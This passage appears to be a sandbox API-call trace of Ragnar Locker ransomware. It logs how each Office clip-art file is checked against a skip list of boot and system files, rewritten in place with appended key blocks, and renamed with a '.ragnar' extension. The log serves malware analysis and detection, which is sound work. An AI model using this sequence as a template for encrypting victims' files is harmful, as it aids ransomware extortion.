lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1 [0084.641] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.641] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0150150.WMF" | out: lpString1="J0150150.WMF") returned="J0150150.WMF" [0084.641] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned=".WMF" [0084.641] lstrcmpiW (lpString1="J0150150.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.641] lstrcmpiW (lpString1="J0150150.WMF", lpString2="autorun.inf") returned 1 [0084.641] lstrcmpiW (lpString1="J0150150.WMF", lpString2="boot.ini") returned 1 [0084.641] lstrcmpiW (lpString1="J0150150.WMF", lpString2="bootfont.bin") returned 1 [0084.641] lstrcmpiW (lpString1="J0150150.WMF", lpString2="bootsect.bak") returned 1 [0084.641] lstrcmpiW (lpString1="J0150150.WMF", lpString2="bootmgr") returned 1 [0084.641] lstrcmpiW (lpString1="J0150150.WMF", lpString2="bootmgr.efi") returned 1 [0084.641] lstrcmpiW (lpString1="J0150150.WMF", lpString2="bootmgfw.efi") returned 1 [0084.641] lstrcmpiW (lpString1="J0150150.WMF", lpString2="desktop.ini") returned 1 [0084.642] lstrcmpiW (lpString1="J0150150.WMF", lpString2="iconcache.db") returned 1 [0084.642] lstrcmpiW (lpString1="J0150150.WMF", lpString2="ntldr") returned -1 [0084.642] lstrcmpiW (lpString1="J0150150.WMF", lpString2="ntuser.dat") returned -1 [0084.642] lstrcmpiW (lpString1="J0150150.WMF", lpString2="ntuser.dat.log") returned -1 [0084.642] lstrcmpiW (lpString1="J0150150.WMF", lpString2="ntuser.ini") returned -1 [0084.642] lstrcmpiW (lpString1="J0150150.WMF", lpString2="thumbs.db") returned -1 [0084.642] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.642] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.642] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.642] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.642] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.642] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.642] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf")) returned 0x20 [0084.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.642] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=46404) returned 1 [0084.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb53b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.642] GetProcessHeap () returned 0x580000 [0084.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.642] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.644] VirtualAlloc (lpAddress=0x0, dwSize=0xb544, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.644] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.644] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.644] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb544, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb544, lpOverlapped=0x0) returned 1 [0084.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.646] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb544, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.646] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb544, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb544, lpOverlapped=0x0) returned 1 [0084.646] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb544, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.646] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.647] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.647] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.647] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.647] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.647] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.647] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.647] GetProcessHeap () returned 0x580000 [0084.647] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.647] CloseHandle (hObject=0xf4) returned 1 [0084.647] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" [0084.647] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.ragnar_FD7BD9FC" [0084.647] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.648] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1 [0084.648] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.648] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0150861.WMF" | out: lpString1="J0150861.WMF") returned="J0150861.WMF" [0084.648] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned=".WMF" [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="autorun.inf") returned 1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="boot.ini") returned 1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="bootfont.bin") returned 1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="bootsect.bak") returned 1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="bootmgr") returned 1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="bootmgr.efi") returned 1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="bootmgfw.efi") returned 1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="desktop.ini") returned 1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="iconcache.db") returned 1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="ntldr") returned -1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="ntuser.dat") returned -1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="ntuser.dat.log") returned -1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="ntuser.ini") returned -1 [0084.648] lstrcmpiW (lpString1="J0150861.WMF", lpString2="thumbs.db") returned -1 [0084.648] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.649] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.649] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.649] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.649] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.649] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.649] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf")) returned 0x20 [0084.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.649] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8494) returned 1 [0084.649] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2125, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.649] GetProcessHeap () returned 0x580000 [0084.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.649] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.651] VirtualAlloc (lpAddress=0x0, dwSize=0x212e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.651] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x212e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x212e, lpOverlapped=0x0) returned 1 [0084.652] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.652] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x212e, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.652] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x212e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x212e, lpOverlapped=0x0) returned 1 [0084.652] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x212e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.652] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.652] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x212e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.652] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.653] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.653] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.653] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.653] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.653] GetProcessHeap () returned 0x580000 [0084.653] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.653] CloseHandle (hObject=0xf4) returned 1 [0084.653] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" [0084.653] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.ragnar_FD7BD9FC" [0084.653] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.654] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1 [0084.654] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.654] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0151041.WMF" | out: lpString1="J0151041.WMF") returned="J0151041.WMF" [0084.654] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned=".WMF" [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="autorun.inf") returned 1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="boot.ini") returned 1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="bootfont.bin") returned 1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="bootsect.bak") returned 1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="bootmgr") returned 1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="bootmgr.efi") returned 1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="bootmgfw.efi") returned 1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="desktop.ini") returned 1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="iconcache.db") returned 1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="ntldr") returned -1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="ntuser.dat") returned -1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="ntuser.dat.log") returned -1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="ntuser.ini") returned -1 [0084.654] lstrcmpiW (lpString1="J0151041.WMF", lpString2="thumbs.db") returned -1 [0084.654] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.654] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.654] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.654] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.654] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.655] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.655] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf")) returned 0x20 [0084.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.656] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4356) returned 1 [0084.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.656] GetProcessHeap () returned 0x580000 [0084.656] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.656] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.657] VirtualAlloc (lpAddress=0x0, dwSize=0x1104, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.657] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1104, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1104, lpOverlapped=0x0) returned 1 [0084.658] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.658] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1104, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.658] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1104, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1104, lpOverlapped=0x0) returned 1 [0084.658] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1104, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.659] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.659] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.659] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.659] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.659] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.659] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.659] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.659] GetProcessHeap () returned 0x580000 [0084.659] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.659] CloseHandle (hObject=0xf4) returned 1 [0084.659] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" [0084.659] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.ragnar_FD7BD9FC" [0084.659] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.660] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1 [0084.660] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.660] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0151045.WMF" | out: lpString1="J0151045.WMF") returned="J0151045.WMF" [0084.660] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") 